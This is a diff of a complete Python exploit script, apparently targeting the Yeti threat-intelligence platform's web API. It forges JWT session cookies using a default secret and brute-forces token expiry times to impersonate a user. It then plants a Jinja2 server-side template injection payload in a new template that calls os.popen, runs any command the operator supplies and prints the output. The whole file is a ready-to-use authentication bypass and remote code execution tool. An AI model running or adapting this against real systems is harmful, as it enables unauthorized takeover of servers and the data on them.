|
| 1 | +import argparse |
| 2 | +import json |
| 3 | +import random |
| 4 | +import string |
| 5 | +import time |
| 6 | + |
| 7 | +import jwt |
| 8 | +import requests |
| 9 | + |
| 10 | +from tqdm import tqdm |
| 11 | + |
| 12 | +def generate_jwt(username, secret_key, expires): |
| 13 | + header = { |
| 14 | + "alg": "HS256", |
| 15 | + "typ": "JWT" |
| 16 | + } |
| 17 | + |
| 18 | + payload = { |
| 19 | + "sub": username, |
| 20 | + "enabled": True, |
| 21 | + "exp": expires |
| 22 | + } |
| 23 | + |
| 24 | + token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header) |
| 25 | + |
| 26 | + decoded_token = jwt.decode(token, secret_key, algorithms=["HS256"]) |
| 27 | + |
| 28 | + return token |
| 29 | + |
| 30 | + |
| 31 | +def brute_jwt(target, username, secret_key): |
| 32 | + epoch = int(time.time()) |
| 33 | + while True: |
| 34 | + # ~30 days of keyspace |
| 35 | + for i in tqdm(range(0, 2593000)[::-1]): |
| 36 | + jwt_token = generate_jwt(username, secret_key, epoch + i) |
| 37 | + |
| 38 | + cookies = { |
| 39 | + 'yeti_session': jwt_token |
| 40 | + } |
| 41 | + |
| 42 | + response = requests.get(f'{target}/api/v2/auth/me', cookies=cookies) |
| 43 | + |
| 44 | + if response.status_code == 401: |
| 45 | + continue |
| 46 | + |
| 47 | + return jwt_token |
| 48 | + |
| 49 | + print("Could not find JWT! Bruting keyspace again and hoping admin logs in") |
| 50 | + |
| 51 | + |
| 52 | +def login(target, username, password): |
| 53 | + form_data = { |
| 54 | + 'username': username, |
| 55 | + 'password': password |
| 56 | + } |
| 57 | + |
| 58 | + return json.loads(requests.post(f'{target}/api/v2/auth/token', data=form_data).text)["access_token"] |
| 59 | + |
| 60 | +def exploit(target, jwt_token, command): |
| 61 | + uuid_string = ''.join(random.choices(string.ascii_lowercase, k=16)) |
| 62 | + cookies = { |
| 63 | + 'yeti_session': jwt_token |
| 64 | + } |
| 65 | + headers = { |
| 66 | + 'Content-Type': 'application/json', |
| 67 | + } |
| 68 | + json_data = { |
| 69 | + 'observable': { |
| 70 | + 'type': 'hostname', |
| 71 | + 'value': uuid_string + '.com', |
| 72 | + }, |
| 73 | + } |
| 74 | + observable_id = json.loads(requests.post(f'{target}/api/v2/observables/extended', cookies=cookies, headers=headers, json=json_data).text)["id"] |
| 75 | + |
| 76 | + json_data = { |
| 77 | + 'template': { |
| 78 | + 'name': 'EXPLOIT-' + uuid_string, |
| 79 | + 'template': 'value,tags\n{% for obj in data %}{{obj.value}},{{";".join(obj.tags.keys())}}\n{% endfor %}\n\n{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen("' + command + '").read()}}{%endif%}{% endfor %}', |
| 80 | + }, |
| 81 | + } |
| 82 | + template_id = json.loads(requests.post(f'{target}/api/v2/templates/', cookies=cookies, headers=headers, json=json_data).text)["id"] |
| 83 | + |
| 84 | + json_data = { |
| 85 | + 'template_id': template_id, |
| 86 | + 'observable_ids': [ |
| 87 | + observable_id |
| 88 | + ], |
| 89 | + 'search_query': '', |
| 90 | + } |
| 91 | + print(requests.post(f'{target}/api/v2/templates/render', cookies=cookies, headers=headers, json=json_data).text) |
| 92 | + |
| 93 | + |
| 94 | +parser = argparse.ArgumentParser() |
| 95 | +parser.add_argument("-u", "--username", help="The target username") |
| 96 | +parser.add_argument("-p", "--password", help="The password of the user") |
| 97 | +parser.add_argument("-j", "--jwt-token", help="A valid JWT for the application") |
| 98 | +parser.add_argument("-t", "--target", help="The target application base URL", required=True) |
| 99 | +parser.add_argument("-c", "--command", help="The command to run", required=True) |
| 100 | +parser.add_argument("-s", "--secret", help="The JWT secret", default="SECRET") |
| 101 | + |
| 102 | +args = parser.parse_args() |
| 103 | +target = args.target.rstrip("/") |
| 104 | + |
| 105 | +if args.username and args.password: |
| 106 | + jwt_token = login(target, args.username, args.password) |
| 107 | + exploit(target, jwt_token, args.command) |
| 108 | +elif args.username and not args.password: |
| 109 | + jwt_token = brute_jwt(target, args.username, args.secret) |
| 110 | + exploit(target, jwt_token, args.command) |
| 111 | +elif args.jwt_token: |
| 112 | + exploit(target, args.jwt_token, args.command) |
| 113 | +else: |
| 114 | + print("Must provide either a username, username/password pair, or a JWT token") |
0 commit comments